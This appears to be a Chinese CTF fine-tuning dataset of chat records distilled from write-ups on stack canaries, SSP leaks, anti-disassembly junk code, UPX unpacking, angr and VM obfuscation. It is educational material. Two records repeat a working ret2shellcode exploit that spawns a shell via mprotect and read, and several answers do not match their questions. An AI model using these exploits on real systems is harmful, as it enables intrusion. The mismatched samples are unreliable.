{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4ab14f69faf792923474", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“SSP Leak”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / SSP Leak（第 2 段）\n关键词：PIE、argv、bss、buf、canary、smash、RELRO、__stack_chk_fail()、argv[0]、__fortify_fail_abort()\n蒸馏要点：\n- 当程序检测到 `canary` 被修改时，它会调用 `__stack_chk_fail()` 函数，导致程序终止并输出错误信息。\n- 我们可以通过栈溢出将 `argv[0]` 覆盖成为一个指针，然后在错误信息中就可以打印出我们想要的信息。\n- 注：libc-2.25启用了一个新的函数`__fortify_fail_abort()`，试图对该泄露问题进行修复，函数的第一个参数问问`false`时，将不再进行栈回溯，而是直接打印出字符串 ``，那么也就无法再进行Leak。\n- [HNCTF 2022 WEEK3]smash\n- 根据题目名称就可以猜测是要我们通过 smash 的方式利用了\n- 发现除了`PIE`保护，其它保护全开。\n- 分析程序`main`函数\n可用于训练的标准回答：\n当程序检测到 `canary` 被修改时，它会调用 `__stack_chk_fail()` 函数，导致程序终止并输出错误信息。\n\n3. 泄露信息\n\n我们可以通过栈溢出将 `argv[0]` 覆盖成为一个指针，然后在错误信息中就可以打印出我们想要的信息。\n\n>注：libc-2.25启用了一个新的函数`__fortify_fail_abort()`，试图对该泄露问题进行修复，函数的第一个参数问问`false`时，将不再进行栈回溯，而是直接打印出字符串 ``，那么也就无法再进行Leak。\n\n>[HNCTF 2022 WEEK3]smash\n\n根据题目名称就可以猜测是要我们通过 smash 的方式利用了\n\n1. 查保护\n\n发现除了`PIE`保护，其它保护全开。\n\n```c\n➜  smash checksec ./smash\n    Arch:     amd64-64-little\n    RELRO:    Full RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x3fe000)\n```\n\n2. 分析\n\n分析程序`main`函数\n\n程序利用`open`打开了一个叫`flag`的文件，然后将`flag`的内容读取到了`bss`段变量`buf`上。\n\n```c\nint __fastcall main(int argc, const char **argv, const char **envp)\n{\n  int fd; // [rsp+Ch] [rbp-114h]\n  char v5[264]; // [rsp+10h] [rbp-110h] BYREF\n  unsigned __int64 v6; // [rsp+118h] [rbp-8h]\n\nv6 = __readfsqword(0x28u);\n  setbuf(stdin, 0LL);\n  setbuf(stderr, 0LL);\n  setbuf(stdout, 0LL);\n  fd = open(\"fla...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ddd2651bba861f0e", "original_line": 842, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ddd2651bba861f0e", "source_split": "train", "split": "train", "split_group_key": "788fb1268d381aebe6a8eaf2", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4b009ee75fb225f81c22", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“逆向工具”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“逆向工具”。\n关联知识点：\n- 通过工具反编译 pyc 文件，拿到源码\n- uncompyle6\n- 在解压缩后的目录下，存在`原文件名.pyc`文件，即我们的目标文件`test.pyc`\n- 对于 python3.9版本以下（不含3.9）\n- 使用uncompyle6工具\n代码片段：\n```\nenum PycMagic {\n    MAGIC_1_0 = 0x00999902,\n    MAGIC_1_1 = 0x00999903, /* Also covers 1.2 */\n    MAGIC_1_3 = 0x0A0D2E89,\n    MAGIC_1_4 = 0x0A0D1704,\n    MAGIC_1_5 = 0x0A0D4E99,\n    MAGIC_1_6 = 0x0A0DC4FC,\n\n    MAGIC_2_0 = 0x0A0DC687,\n    MAGIC_2_1 = 0x0A0DEB2A,\n    MAGIC_2_2 = 0x0A0DED2D,\n    MAGIC_2_3 = 0x0A0DF23B,\n    MAGIC_2_4 = 0x0A0DF26D,\n    MAGIC_2_5 = 0x0A0DF2B3,\n    MAGIC_2_6 = 0x0A0DF2D1,\n    MAGIC_2_7 = 0x0A0DF303,\n\n    MAGIC_3_0 = 0x0A0D0C3A,\n    MAGIC_3_1 = 0x0A0D0C4E,\n    MAGIC_3_2 = 0x0A0D0C6C,\n    MAGIC_3_3 = 0x0A0D0C9E,\n    MAGIC_3_4 = 0x0A0D0CEE,\n    MAGIC_3_5 = 0x0A0D0D16,\n    MAGIC_3_5_3 = 0x0A0D0D17,\n    MAGIC_3_6 = 0x0A0D0D33,\n    MAGIC_3_7 = 0x0A0D0D42,\n    MAGIC_3_8 = 0x0A0D0D55,\n    MAGIC_3_9 = 0x0A0D0D61,\n    MAGIC_3_10 = 0x0A0D0D6F,\n    MAGIC_3_11 = 0x0A0D0DA7,\n    MAGIC_3_12 = 0x0A0D0DCB,\n\n    INVALID = 0,\n};\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4b579f9a0fa789fd", "original_line": 1012, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "逆向工具", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4b579f9a0fa789fd", "source_split": "train", "split": "train", "split_group_key": "73ea0e3f437d57a2a39bb126", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4b70e5ced42f474a1a61", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“分析”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 分析\n关键词：0x48h、main、retn、call s、0x83h、0xf3h、add、0x115e、nop、push\n蒸馏要点：\n- ida打开看到我们插入的花指令，\n- 分析代码，`call s`直接跳转到`s`并将下一行代码入栈。\n- 则`0x83h`永远不会被执行，并且将其地址入栈。\n- `add`指令将栈顶数据即`0x83h`地址加上8，则栈上地址为`0x115e`。\n- 经过`retn`指令后，执行流直接跳到`0x48h`。\n- 所以`0x48h`是执行指令的一部分，我们将`0x48h`及其后面的`0x8dh`解释为指令。\n- 在`0xf3h`处按快捷键`u`将他们全部解释为字节码，然后在指令`0x48h`处按快捷键`c`将它们解释为汇编代码。\n可用于训练的标准回答：\n#### 分析\n\nida打开看到我们插入的花指令，\n\n分析代码，`call s`直接跳转到`s`并将下一行代码入栈。\n\n则`0x83h`永远不会被执行，并且将其地址入栈。\n\n`add`指令将栈顶数据即`0x83h`地址加上8，则栈上地址为`0x115e`。\n\n经过`retn`指令后，执行流直接跳到`0x48h`。\n\n所以`0x48h`是执行指令的一部分，我们将`0x48h`及其后面的`0x8dh`解释为指令。\n\n在`0xf3h`处按快捷键`u`将他们全部解释为字节码，然后在指令`0x48h`处按快捷键`c`将它们解释为汇编代码。\n\n这样我们可以看到从`call s`指令开始到`0xf3h`都是无用的花指令，我们直接将它们全部`nop`掉。\n\n然后我们将`main`开始的`push`指令到`retn`之间的所有汇编代码全部用快捷键`u`解释为字节码，然后在`main`函数开头按快捷键`c`再将它们重新解释为汇编代码。\n\n之后选中`main`函数头部，按快捷键`p`创建函数。\n\n然后即可`f5`反编译。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7b59aa51fadc276f", "original_line": 951, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "分析", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7b59aa51fadc276f", "source_split": "train", "split": "train", "split_group_key": "6100f2bf3272ca86a4993f62", "tags": ["pwn", "reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4b79994c0e5e8eefea23", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“notthesame3dsctf2016”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / notthesame3dsctf2016\n关键词：p32、payload、elf、addr、read、gift、ELF、arch、off、mprotect\n蒸馏要点：\n- 程序为32位静态编译，没有栈溢出和pie保护\n- 程序中存在危险函数gets，并且text段存在mprotect函数\n- 我们可以通过执行mprotect函数修改内存权限\n- 再通过read函数将shellcode读入内存\n- 之后通过栈溢出返回地址执行shellcode\n可用于训练的标准回答：\n### notthesame3dsctf2016\n\n#ret2shellcode\n\n程序为32位静态编译，没有栈溢出和pie保护\n\n程序中存在危险函数gets，并且text段存在mprotect函数\n\n我们可以通过执行mprotect函数修改内存权限\n\n再通过read函数将shellcode读入内存\n\n之后通过栈溢出返回地址执行shellcode\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\ncontext.arch=elf.arch\np3=0x08050b45\noff=45\nmprotect=0x806ed40\nread=elf.sym.read\naddr=0x80eb000\n\npayload=b'a'*off\nshellcode=asm(shellcraft.sh())\n\npayload+=p32(mprotect)+p32(p3)\npayload+=p32(addr)+p32(0x100)+p32(0x7)\npayload+=p32(read)+p32(p3)\npayload+=p32(0)+p32(addr)+p32(0x100)\npayload+=p32(addr)\n\nsl(payload)\nsl(shellcode)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::596f1a1bd97f07af", "original_line": 1033, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "notthesame3dsctf2016", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "596f1a1bd97f07af", "source_split": "train", "split": "train", "split_group_key": "42dfb6d2da703d553661497f", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4be15a58a53547acedb1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“EXE”？请用《UPX 脱壳详解》中的内容回答。", "role": "user"}, {"content": "1. 自己写的文件加壳，手脱。\n2. 入口不是`pushad`，只能一步一步单步步过。\n3. `pushad`意味着 upx 壳解压缩代码的入口。\n4. 64位程序中没有`puahad`，而是用几个`push`汇编代码替代。32位程序中存在`pushad`。\n5. 遵循单步定律，向下跳转允许实现，向上跳转不允许实现。\n6. 向下的红色小箭头就是向下的跳转，线为红色即是跳转成立，线为白色就是跳转不成立。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::81154f339f93eb5e", "original_line": 657, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "EXE", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "81154f339f93eb5e", "source_split": "train", "split": "train", "split_group_key": "5943ef9d11fc1019ee138705", "tags": ["pwn", "reverse"], "title": "UPX 脱壳详解", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4bec721d6121118704eb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“2025湾区杯-oddcanary”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. canary绕过\n2. 分析发现`init_array`字段有函数注册，这样的话函数会在程序启动后先执行。\n3. 将`ctfer`复制到`name`全局变量，然后将一段字符串复制到`bss`字段。\n4. 分析程序将 0x28 字节读到 buf，然后在`buf[read_len]`位置写入一个 8 字节的 10。然后将puts的got表复制到bss段。\n5. 这样会导致在第二次执行`good_news`函数时，就会将`bss`段的`puts`的 got 表打印出来。\n6. vuln 函数是溢出部分：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6a97a501fdb8f737", "original_line": 1029, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "2025湾区杯-oddcanary", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6a97a501fdb8f737", "source_split": "train", "split": "train", "split_group_key": "2104c39c12ea93264da5d636", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4dc8ea9e1a497d9e5da4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“乘法逆元”？请用《RSA与大数运算》中的内容回答。", "role": "user"}, {"content": "1. | `mpq_mul(mpq_t dest, const mpq_t op1, const mpq_t op2)`                    | 计算 `op1 * op2`，结果存储在 `dest` 中。                                         |\n2. | `mpq_div(mpq_t dest, const mpq_t op1, const mpq_t op2)`                    | 计算 `op1 / op2`，结果存储在 `dest` 中。                                         |\n3. | `mpf_init(mpf_t f)`                                                        | 初始化一个多精度浮点数变量 `f`。                                                     |\n4. | `mpf_clear(mpf_t f)`                                                       | 清除多精度浮点数变量 `f`。                                                        |\n5. | `mpf_set(mpf_t dest, const mpf_t src)`                                     | 将浮点数 `src` 的值复制到 `dest`。                                               |\n6. | `mpf_set_ui(mpf_t dest, unsigned long val)`                                | 将 `val` 设置为浮点数 `dest` 的值。                                              |", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c04d1757d5782c50", "original_line": 914, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "乘法逆元", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c04d1757d5782c50", "source_split": "train", "split": "train", "split_group_key": "8fdd816a055b355ea4c6e06c", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4ee270c7753c73e0e3c8", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“简介”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / 简介\n关键词：CPU、opcode、x86、Emulator、常用于虚拟化保护、从而达到防止逆向、的虚拟机只是一种保护\n蒸馏要点：\n- 虚拟机（VM）其实就是用软件来模拟硬件。我们可以参照 x86 等真实指令集，自己定义一套全新的指令系统（opcode），并在解释器程序中实现相应的结构与逻辑来解析、调度和执行指令。\n- 在安全领域中，“虚拟机” 常用于虚拟化保护。它将原本由 CPU 直接执行的机器码转化为自定义的字节码指令，然后再由程序内部实现的一套“虚拟 CPU”来解释执行。由于字节码并不遵循传统体系结构，理解成本高、调试困难，从而达到防止逆向与篡改的目的。\n- 简单来说就是出题人通过实现一个小型虚拟机：\n- 自定义一些操作码（opcode）；\n- 用解释器逐条读取并执行这些 opcode；\n- 每条 opcode 对应一个函数或模拟指令的逻辑（伪指令）；\n- 从而使程序仍能完成原有功能，但执行路径完全脱离真实 CPU 的机器码语义。\n可用于训练的标准回答：\n## 简介\n\n虚拟机（VM）其实就是用软件来模拟硬件。我们可以参照 x86 等真实指令集，自己定义一套全新的指令系统（opcode），并在解释器程序中实现相应的结构与逻辑来解析、调度和执行指令。\n\n在安全领域中，“虚拟机” 常用于虚拟化保护。它将原本由 CPU 直接执行的机器码转化为自定义的字节码指令，然后再由程序内部实现的一套“虚拟 CPU”来解释执行。由于字节码并不遵循传统体系结构，理解成本高、调试困难，从而达到防止逆向与篡改的目的。\n\n简单来说就是出题人通过实现一个小型虚拟机：\n\n- 自定义一些操作码（opcode）；\n- 用解释器逐条读取并执行这些 opcode；\n- 每条 opcode 对应一个函数或模拟指令的逻辑（伪指令）；\n- 从而使程序仍能完成原有功能，但执行路径完全脱离真实 CPU 的机器码语义。\n\n这种虚拟机和我们日常使用的虚拟机不同，这里的虚拟机只是一种保护机制，也可以叫做解释执行系统或者模拟器（Emulator），程序作者将程序的可执行代码转换为自定义的操作码（opcode），然后在程序执行的时候通过模拟一个简化的处理器（CPU）去解释执行这些操作码，选择对应的 “伪指令”（一些模仿指令行为的函数或者一段汇编）进行执行，从而完整的实现程序原有的功能，当然也会模拟出内存。\n\n这也就像是在程序内部设计出一个虚拟机器，有着模拟的内存以及处理器（CPU）等一些关键的结构，而所谓的操作码，也就是这个模拟的简化处理器支持的指令的编码。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::24f7138e8153e7a9", "original_line": 968, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "简介", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "24f7138e8153e7a9", "source_split": "train", "split": "train", "split_group_key": "f2b02738ec0d5479eae184a0", "tags": ["reverse"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4f2ebedc37002edc1fc5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“实现”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 实现\n关键词：- **gcc 编译器实现**、emit、printf、include、asm、call、ret、hello、world、byte\n蒸馏要点：\n- **msvc 编译器实现**\n- **gcc 编译器实现**\n可用于训练的标准回答：\n#### 实现\n\n- **msvc 编译器实现**\n\n```c\n#include\nint main(){\n\t__asm{\n\t\tcall s;\n\t\t_emit 0x83;\n\ts:\n\t\tadd dword ptr ss:[esp],8;\n\t\tret;\n\t\t_emit 0xf3;\n\t}\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```\n\n- **gcc 编译器实现**\n\n```c\n#include\n\nint main() {\n    printf(\"Before jump and emit instructions\\n\");\n\n    // 插入花指令\n    __asm__ __volatile__ (\n        \"call s\\n\\t\"\n        \".byte 0x83\\n\\t\"\n        \"s:\\n\\t\"\n        \"addq 8,(%rsp)\\n\\t\"\n        \"ret\\n\\t\"\n        \".byte 0xf3\\n\\t\"\n    );\n\n    printf(\"hello world!\\n\");\n    return 0;\n}\n\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0296d6186dccaeb2", "original_line": 691, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "实现", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0296d6186dccaeb2", "source_split": "train", "split": "train", "split_group_key": "b565e2964465f473eb62fcee", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4fdc8e0666216008c07a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“劫持TLS”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“劫持TLS”。\n语言/类型：c\n关联知识点：\n- 在开启`canary`的情况下，当程序在线程创建线程的时候，会创建一个TLS（Thread Local Storage），这个TLS会存储canary的值，而TLS会保存在stack高地址的地方。\n- 那么，当我们溢出足够大的字节覆盖到TLS所在的地方，就可以控制TLS结构体，进而控制canary到我们想要的值，实现ROP。\n- Linux 下`fs`寄存器指向当前栈的`TLS`结构，`fs:0x28`指向的是`TLS`结构中的`stack_guard`值，如果可以覆盖位于`TLS`中的`canary`初始值就可以绕过`canary`保护。\n- `TLS`中的`canary`是可写的\n- 格式化字符串任意地址写覆盖canary\n代码片段：\n```c\npwndbg> tls\ntls : 0x7ffff7d7c740\npwndbg> vmmap 0x7ffff7d7c740\nLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA\n             Start                End Perm     Size Offset File\n          0x404000           0x405000 rw-p     1000   3000 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/覆盖canary初始值/demo/vuln\n►   0x7ffff7d7c000     0x7ffff7d7f000 rw-p     3000      0 [anon_7ffff7d7c] +0x740\n    0x7ffff7d7f000     0x7ffff7da7000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::06e7089c49e08b00", "original_line": 1062, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "劫持TLS", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "06e7089c49e08b00", "source_split": "train", "split": "train", "split_group_key": "7b992c9e32b119a173deb834", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-500e52be59ad56594729", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Angr：Angr符号执行》中“模拟执行”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Angr：Angr符号执行》的“模拟执行”。\n语言/类型：python\n关联知识点：\n- 注意 angr 默认加载地址是 0x400000\n代码片段：\n```python\nimport angr\n\nproj = angr.Project(\"demo\", auto_load_libs=False)\n\n\t\t\t\t\t\t\t   #函数入口   #第一个参数 #第二个参数\nstate = proj.factory.call_state(0x401136, 1, 2) #用于从指定函数地址开始执行，模拟函数调用\nsimgr = proj.factory.simulation_manager(state)\nsimgr.run()\n\nret_state = simgr.deadended[0] #获取函数返回的状态\nprint(state.solver.eval(state.memory.load(0x42ED24, 19), cast_to=bytes))\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::8ae2d54c21f47e67", "original_line": 686, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "模拟执行", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "8ae2d54c21f47e67", "source_split": "train", "split": "train", "split_group_key": "be9995786adeb747f63b52a0", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5022effd3cf3dd69e6e0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“notthesame3dsctf2016”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“notthesame3dsctf2016”。\n语言/类型：python\n关联知识点：\n- 程序为32位静态编译，没有栈溢出和pie保护\n- 程序中存在危险函数gets，并且text段存在mprotect函数\n- 我们可以通过执行mprotect函数修改内存权限\n- 再通过read函数将shellcode读入内存\n- 之后通过栈溢出返回地址执行shellcode\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\ncontext.arch=elf.arch\np3=0x08050b45\noff=45\nmprotect=0x806ed40\nread=elf.sym.read\naddr=0x80eb000\n\npayload=b'a'*off\nshellcode=asm(shellcraft.sh())\n\npayload+=p32(mprotect)+p32(p3)\npayload+=p32(addr)+p32(0x100)+p32(0x7)\npayload+=p32(read)+p32(p3)\npayload+=p32(0)+p32(addr)+p32(0x100)\npayload+=p32(addr)\n\nsl(payload)\nsl(shellcode)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::fb09bb888841f2ea", "original_line": 100, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "notthesame3dsctf2016", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "fb09bb888841f2ea", "source_split": "validation", "split": "train", "split_group_key": "91b5fe06392ca7b6d4ce8df4", "tags": ["pwn", "ctf-method"], 